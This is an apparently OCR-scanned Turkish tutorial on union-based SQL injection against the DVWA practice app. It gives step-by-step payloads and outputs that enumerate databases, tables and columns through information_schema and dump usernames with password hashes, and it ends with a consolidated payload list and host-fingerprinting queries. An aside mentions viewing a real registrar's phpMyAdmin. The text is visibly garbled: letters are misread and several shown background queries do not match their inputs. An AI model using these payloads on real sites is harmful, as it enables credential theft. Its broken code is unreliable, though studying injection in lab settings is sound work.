SQL Acigi Olan Bir Siteden Sifre Bilgisini Elde Etme
Senaryosu

1)

Input box'a tirnak koyulur ve eger hata donerse hedef sitede sql acigi var denir.
Cunku sqgl sorgularinda tirnak isareti WHERE kosulundaki field’larin degerini
sinirlandirmaya yarayan bir komut oldugundan dolayi deger olarak girdigimiz tirnak
isareti eger filtrelenmemisse fazladan bir tirnak olacagindan SQL sorgusuna hata
verdirir.

[Detay]

PHP’'de WHERE kosulundaki degerler tirnak icine konulmadan da yazilabilmektedir.
Bdylesi bir durumda input box’a girilecek tirnak isareti yine hata verdirecektir.
Cunku bu sefer hic tirnak yokken bir tane tirnak olacaktir. Bu tirnak kapatiimaya
ihtiyac duyacagindan yine hata dondulrecektir. Sonuc olarak sitede zafiyet var mi
yok mu diye deneme yapan kisinin ilgili sayfanin arkaplaninda yer alan SQL
sorgusundaki WHERE kosulu degerlerinin tirnakh mi tirnaksiz mi kullanildigini
dusunmesine gerek yoktur. Her iki durumda da metin kutusuna girilecek tirnak
karakteri hataya sebep olmaktadir. Birinde fazla tirnaktan dolayi, digerinde eksik
tirnaktan dolayi.

2)

Alinan hata Uzerine input box'tan aldigi degere gore icerik donduren web sitesinin
sql sorgusundaki WHERE kosulunu iptal etmek icin herhangi bir deger, sonrasinda
ise “or 1 = 1" ifadesi girilir.

Input:
> 99 0r ‘1’ ="1"#

Background:

Select firstName, surName from contacts WHERE user_id=99 or 1=1

Bdylece sql sorgusunun kullandigi tablodaki tim kayitlarin ekrana yansitilmasi
saglanir.



3)

Ardindan sql sorgusunun kullandigi tabloda kac¢ kolon var o tespit edilir. Bunun icin
ORDER BY keyword'l kullanilir. Soyle ki;

Select firstName, surName from contacts WHERE user id='99' or '1'="1"
ORDER BY 1

ORDER BY 1 ile sorguya cektigi kayitlari tablonun 1. kolonuna goére sirala emri
verilmis olur. Eger web sayfasi hata dondlirmezse 1 yerine 2 yine vermezse 3, boyle
hata verene kadar sayi arttirilarak konur. Ne zaman sayfa hata verirse bu durumda
bir onceki hata vermeyen sayi tablonun kolon sayisidir anlamina gelir.

4)

SQL sorgusunun kullandigi tablonun kolon sayisini tespit ederek enjekte edecegimiz
UNION keyword'l sonrasi kac kolonlu sgl sorgusu ilave edebilirizin yanitini 6grenmis
oluyoruz. Cunku UNION sonrasi eklenecek sorgu ile UNION 6ncesi var olan sorgunun
kolon sayisi ayni olmak zorundadir.

5)

Kolon sayisi tespit edildigine gore artik UNION ile sayfaya ilave SQL sorgusu dahil
edebiliriz. Senaryo geregi kullanici adi ve sifreyi ele gecirmek icin yapilmasi gereken
islem en genelden en spesifige dogru UNION ile bir tarama yapmaktir. Yani dnce
UNION sonrasi ekleyecegimiz SQL sorgusu ile ilgili veritabani yaziliminda yukla
veritabanlarinin isimlerini ekrana yazdirmaliyiz. Sonra iglerinden birini secip bu
sectigimizin sahip oldugu tim tablolarin isimlerini ekrana yazdirmaliyiz. Daha sonra
sectigimiz tablonun tdim kolonlarinin isimlerini ekrana yazdirmalyiz. Bdylece
kullanici adi ve sifre kolonlarint bulunca bu kolonlari iceren tabloyu UNION sonrasi
SQL sorgusunda kullanarak kolon degerlerini ekrana basmaliyiz. Sonug olarak en
genelden en spesifige dogru olan bu yolculukta sifre gibi hassas verilere ulasmis
olacagiz.

6)

Simdi 6grendigimiz kolon sayisi bilgisini kullanarak UNION ile sayfadaki sorguya
kendi sorgumuzu enjekte edelim.

Input:
> 99'or '1'="1' UNION Select 1, 2 #



Background:

SELECT firstName, surName FROM contacts WHERE user_id='99' or '1'="1"
UNION Select 1, 2

Output:
ID: 99' or '1' = '1' UNION Select 1, 2 #
First name: admin

Surname: admin

ID: 99'or '1' = '1' UNION Select 1, 2 #
First name: Gordon

Surname: Brown

ID: 99' or 'l' = '1' UNION Select 1, 2 #
First name: Hack

Surname: Me

ID: 99' or '1' = '1' UNION Select 1, 2 #
First name: Pablo

Surname: Picasso

ID: 99'or'1' = '1' UNION Select 1, 2 #
First name: Bob

Surname: Smith

ID:99'or'l'="1" UNION Select 1,version() # /] (Last Iteration)
First name: 1

Surname: 2

UNION aldigi sorgularin kayitlarini alt alta ekler. Dolayisiyla sayfaya énce UNION'in
solundaki sorguya ait kayitlar siralanacaktir ve bunun altina ise UNION’In sagindaki
kayitlar eklenecektir. Output’taki kirmizi olmayan kayitlar sayfaya ait sql



sorgusunun ciktilaridir. Kirmizi olan ise enjekte ettigimiz sorgunun ciktisidir. Enjekte
ettigimiz sorguya kolon olarak 1 ve 2 konulmustur. Bunun nedeni ileride
kullanacagimiz bazi 6ntanimli sqgl fonksiyonlarinin dondurecegi degerlerin tarayicida
nerede goruntlilendigini tespit edebilelim diyedir.

7)

Simdi ontanimli SQL fonksiyonlarini kullanalim.

= version() // MySQL'in versiyonu bilgisini verir.
Input:

> 99'or '1' = '1' UNION Select version(), 2 #

Background:

SELECT firstName,surName FROM contacts WHERE user_id='99' or '1'="1"
UNION
Select version(), 2

Output: /| (Last Iteration)
ID:99'or'l'="'1' UNION Select 1,version() #
First name: 5.6.26

Surname: 2
= @@datadir // MySQL'de yuklG veritabanlarinin klasorlerinin yer aldigi
// dizini verir.
Input:

> 99'or'l' ='1' UNION Select 1,@@datadir #

Background:

Select firstName, surName from contacts WHERE user_id='99' or '1'='1"
UNION
Select version(), @@datadir



Output: /| (Last Iteration)
ID: 99" or 'l' = '1' UNION Select 1,version() #

First name: 5.6.26

Surname: C:\xampp\mysqgl\data\

= user() /] Sayfadaki sql sorgusunun veritabani tGzerindeki yetkisini verir.

Input:
> 99'or 'l' = '1' UNION Select 1,user() #

Background:

Select firstName, surName from contacts WHERE user_id='99' or '1'='1"
UNION
Select 1, user()

Output: /| (Last Iteration)
ID:99"or'l' ="'1" UNION Select 1,user() #
First name: 1

Surname: root@localhost

= database() /] Sayfadaki sql sorgusunun kullandigi tablonun yer aldigi
/] veritabani adini verir.

Input:
> 99'or'l' ='1' UNION Select 1,database() #

Background:

Select firstName, surName from contacts WHERE user_id='99' or '1'='1l'
UNION
Select 1, database()



Output: /| (Last Iteration)
ID:99'or'l'="1" UNION Select 1,database() #
First name: 1

Surname: dvwa

7)

Eger version()'in ddéndurdigd MySQL'in  versiyon Dbilgisi 5.0.0'in  yukarisini
gosteriyorsa sifreleri elde etmek c¢ok kolaydir. Cunklt 5.0.0 ve vyukarisinda
yararlanabilecegimiz information_schema adli MySQL’de varsayilan olarak gelen bir
veritabani vardir. Bu veritabani MySQL'de yer alan butun veritabanlarinin isimlerini,
butun tablolarin isimlerini ve butin kolonlarin isimlerini dinamik olarak tablolarda
depolamaktadir. Simdi information_schema'dan veri cekerek ilerleyelim.

NOT: Bu veritabani isimtescil.net'in phpmyadmin'inde gérdigim kadariyla yok. Hem
de MySQL 5.0.0'in yukarisinda olmasina ragmen. Bu gosteriyor ki isimtescil.net
sistemcileri bu veritabanini givenlik gerekgesiyle kaldirmis. Uyanik adamlar :)

8)

Daha 6nce database() ile veritabani adini cekmistik, fakat bu cekilen veritabani ismi
sadece sqgl sorgusunun kullandigi tablonun vyer aldigi veritabaninin ismiydi.
information_schema'dan MySQL de varolan tim veritabanlarinin isimlerini cekelim.
Boylece kullanici adi ve sifre gibi bilgilerin yer alabilecegi bir veritabanini gézimuze
kestirebilelim. Bunun igin information_schema adli veritabanindaki SCHEMATA adli
tablonun SCHEMA NAME adli kolonunu UNION sonrasina ilave etmemiz gerekir.
Boylece tum veritabanlarinin isimlerini 1 numarali verinin yerine goruntulemis
olacagiz.

Input:

> 99'or 'l' ='1' UNION Select 1,schema_name from
information_schema.schemata #

Background:

Select firstName, surName from contacts WHERE user_id='99' or '1'="1"
UNION
Select 1, schema_name from information_schema.SCHEMATA



Output: // (Sadece) Enjekte Edilen SQL Sorgusunun Ciktisi

ID: 99' or '1' = '1' UNION Select 1,schema_name from
information_schema.schemata #
First name: 1

Surname: soninclu_veritabani

ID: 99' or '1' = '1' UNION Select 1,schema_name from
information_schema.schemata #
First name: 1

Surname: information_schema

ID: 99' or '1' = '1' UNION Select 1,schema_name from
information_schema.schemata #
First name: 1

Surname: dvwa

ID: 99' or '1' = '1' UNION Select 1,schema_name from
information_schema.schemata #
First name: 1

Surname: test

GOruldagu Uzere herbir veritabani ismi icin while() dongusu tekrarlanmistir. Eger
group_concat() fonksiyonu kullanirsak alinan tim schema _name kolonu satirlarini
tek satira indirgeyip virgul ile ayirarak daha okunakh bir cikti elde edebiliriz.
group_concat ile enjekte edecegimiz sqgl sorgusunun while dénglsunu ekstradan
sadece bir kez dondlirmesini saglamis olacagiz.

Input:

> 99'or'1' = '1' UNION Select 1,group_concat(schema_name) from
information_schema.schemata #

Background:

Select firstName, surName from contacts WHERE user_id='99' or '1'="1"
UNION
Select 1, group_concat(schema_name) from information_schema.SCHEMATA



Output: // (Last Iteration)

ID: 99' or '1' = '1' UNION Select 1,group_concat(schema_name) from
information_schema.schemata #

First name: 1

Surname: soninclu_veritabani , information_schema, dvwa, test

9)

Siralanan veritabani isimlerinden kullanici adi ve sifre icerebilecegini dlistindligimuz
veritabani adini (dvwa'yl) bir kdseye not edelim. Bir sonraki adim sectigimiz
veritabaninin icerdigi tablolarin isimlerini 6grenmektir. information_schema adh
veritabaninin TABLES adl tablosunun TABLE_NAME kolonu MySQL de var olan tim
veritabanlarinin tim tablolarinin isimlerini icermektedir. Bu yuzden biz bu tablonun
ilgili kolonundan faydalanacagiz, fakat batin tablo isimlerini degil de sadece
sectigimiz veritabanina ait tablolari 6grenmek icin sorgumuza sectigimiz
veritabanina gore kisitlama yapacak bir WHERE kosulu katacagiz. Simdi kodumuzu
gorelim.

Input:

> 99'or 'l' = '1' UNION Select 1,group_concat(table_name) from
information_schema.tables
Where table_schema='dvwa' #

Background:

Select firstName, surName from contacts WHERE user_id='99' or '1'="1"
UNION
Select group_concat(table_name),2 from information_schema.TABLES

Output: // (Last Iteration)

ID: 99' or '1' = '1' UNION Select 1,group_concat(table_name) from
information_schema.tables
where table_schema='dvwa' #

First name: 1

Surname: guestbook,users



2 numarasi yerine dvwa’'nin icerdigi tim tablolarin isimleri siralanmistir. Boylece
sifrelerin depolu olabilecegi olasi tablo - users - bize g6z kirpmaktadir. Evet, users'i
bir kdseye not edelim. Hedefe gittikce yaklasiyoruz.

10)

Sira geldi information_schema'da yer alan COLUMNS tablosuna. Bu tablo
MySQL'deki var olan tum tablolarin kolonlarinin isimlerini satir satir depolamistir. Bu
tabloda en son not ettigimiz “users” tablosunun adina goére bir sonu¢ daraltmasina
giderek sadece belirledigimiz (g6zumuze kestirdigimiz) tablonun kolon isimlerini
siralayalim.

Input:

> 99'or 'l' ='1' UNION SELECT 1,group_concat(column_name) FROM
information_schema.COLUMNS
WHERE table_name='users' #

Background:

Select firstName, surName from contacts WHERE user_id='99' or '1'="1"

UNION

Select 1,group_concat(table_name) FROM information_schema.COLUMNS
WHERE table_name = 'users'

Output: // (Last Iteration)

ID: 99' or '1' = '1' UNION Select 1,group_concat(column_name) from
information_schema.columns
Where table_name='users' #
First name: 1

Surname: ID, username, email, password, about, privilege, avatar, user_id,
first name, last_name, user, password, avatar, last_login, failed_login, USER,

CURRENT_CONNECTIONS, TOTAL_CONNECTIONS

Boylece kullanici adi ve sifrenin depolandigi kolonlari bariz bir sekilde tespit etmis
olduk. Simdi UNION ile ilave ettigmiz sql sorgusuna bu kolonlari yazdirtalim.

Input:

> 99'or '1' = '1' UNION Select 1,group_concat(user,0x3b,password,0x0a)
from dvwa.users #



Background:

Select firstName, surName from contacts WHERE user_id='99' or '1'="1"
UNION
SELECT group_concat(username,0x3b,password) from dvwa.users

Output: (Last Iteration)

ID: 99" or '1' = '1' UNION Select 1, group_concat(user,0x3b,password,0x0a)
from dvwa.users #

First name: 1

Surname: admin;5f4dcc3b5aa765d61d8327deb882cf99
gordonb;e99a18c428cb38d5f260853678922e03
1337;8d3533d75ae2c3966d7e0d4fcc69216b
pablo;0d107d09f5bbe40cade3de5c71e9e9b7

(') Ox3b hexadecimal dilde noktali virgul demektir. Kullanici adi ve sifreyi ayirt
edebilmek icin arasina noktali virgul koyariz.

(') Ox0a, hexadecimal sistemde satir atlatma demektir. Kullanildigi yer geregi her
kayittan sonra satir atlatmak icin kullaniimistir.

Sonuc olarak bir sgl acigindan taa kullanici adi ve sifreye kadar varabilmis olduk.



11)

[OZET]

Bu asamaya gelene kadar kullandigimiz injection kodlari sunlardir:
>99%'or'l'="1'#

>99'or'l'="1'ORDERBY 1 #

>99'or'l'="'1' ORDER BY 2 #

>99'or'l'="'1' ORDER BY 3 #

> 99'or'l' ='1' UNION Select 1,2 #

> 99'or '1' = '1' UNION Select 1,version() #

> 99' or '1' = '1' UNION Select 1,schema_name from information_schema.schemata
#

> 99'or '1' = '1' UNION Select 1,group_concat(schema_name) from
information_schema.schemata #

> 99'or '1' = '1' UNION Select 1,group_concat(table_name) from
information_schema.tables
Where table_schema='dvwa' #

> 99'or '1' = '1' UNION Select 1,group_concat(column_name) from
information_schema.columns
Where table_name='users' #

> 99'or 'l' = '1' UNION Select 1,group_concat(user,0x3b,password,0x0a) from
dvwa.users #

Bu sureci 6zet bir sekilde aciklayacak olursak sayfadaki sql sorgusunun kullandigi
tablonun kolon sayisini dncelikle tespit ettik. Bdylece UNION ile birlestirecegimiz
sorgunun kolon sayisini anlamis olduk. Bunun Uzerine UNION ile sorgu ekledik.
Bdylece sayfadaki sql sorgusunun siraladigi sonuclarin altina bizim veriler eklenmis
oldu. Eklenen bu veriler dnce sayfadaki sql sorgusunun kullandigi tablonun yer
aldigi veritabaninin adi olarak yansidi. Sonra ekrana yansiyan veritabaninin admin
sifresi icermeyecegi dusunuldigiu icin yeni veritabani ismi aramak adina
information_schema'yi kullandik. Oradan tim veritabani adlarini listeleyip bize g6z
kirpan veritabani ismini bir kdseye not ettik. Ardindan information_schema daki
TABLES'dan 'not ettigimiz veritabaninin barindirdigi tium tablolari listelettik.
Ardindan g6zumuze kestirdigimiz tablo adini kullanarak tekrar information_schema
daki bu sefer COLUMNS tablosundan not ettigimiz tablonun icerdigi tim kolon
adlarini listelettik ve kullanici adi, sifre barindirdigina inandigimiz kolon isimlerini bir
kdseye not ettik. Sonra bu kolon adlarini UNION sonrasindaki sqgl sorgusuna ilave
ederek ekrana yazdirttik ve kullanici adi ve sifreyi gorinttlemis olduk.



Ekstra

@@datadir degiskeni Information_Schemata veritabaninin Session_Variables
tablosunda yer aliyormus. Dolayisiyla datadir gibi ayni tablodaki diger degiskenleri
de kullanarak hedef Mysql'den daha fazla bilgi toplayabiliriz. Ornegin ilgili tabloda
sOyle degiskenler mevcut:

Variable Value

HOSTNAME hefese-N61jq
VERSION_COMPILE_MACHINE x86_64
LOG_ERROR /var/log/mysql/error.log

[...] [...]

datadir'in 6nline koydugumuz @@ sembollerini bu degiskenlere de koyarak
degerlerini ekrana basabiliriz.

Input:
> 99' UNION Select 1, @ @HOSTNAME #

Background:
Select firstName, surName from contacts WHERE user_id='99'
UNION

Select 1, user()

Output:
ID: 99' UNION Select 1, @@HOSTNAME #
First name: 1

Surname: hefese-N61)q



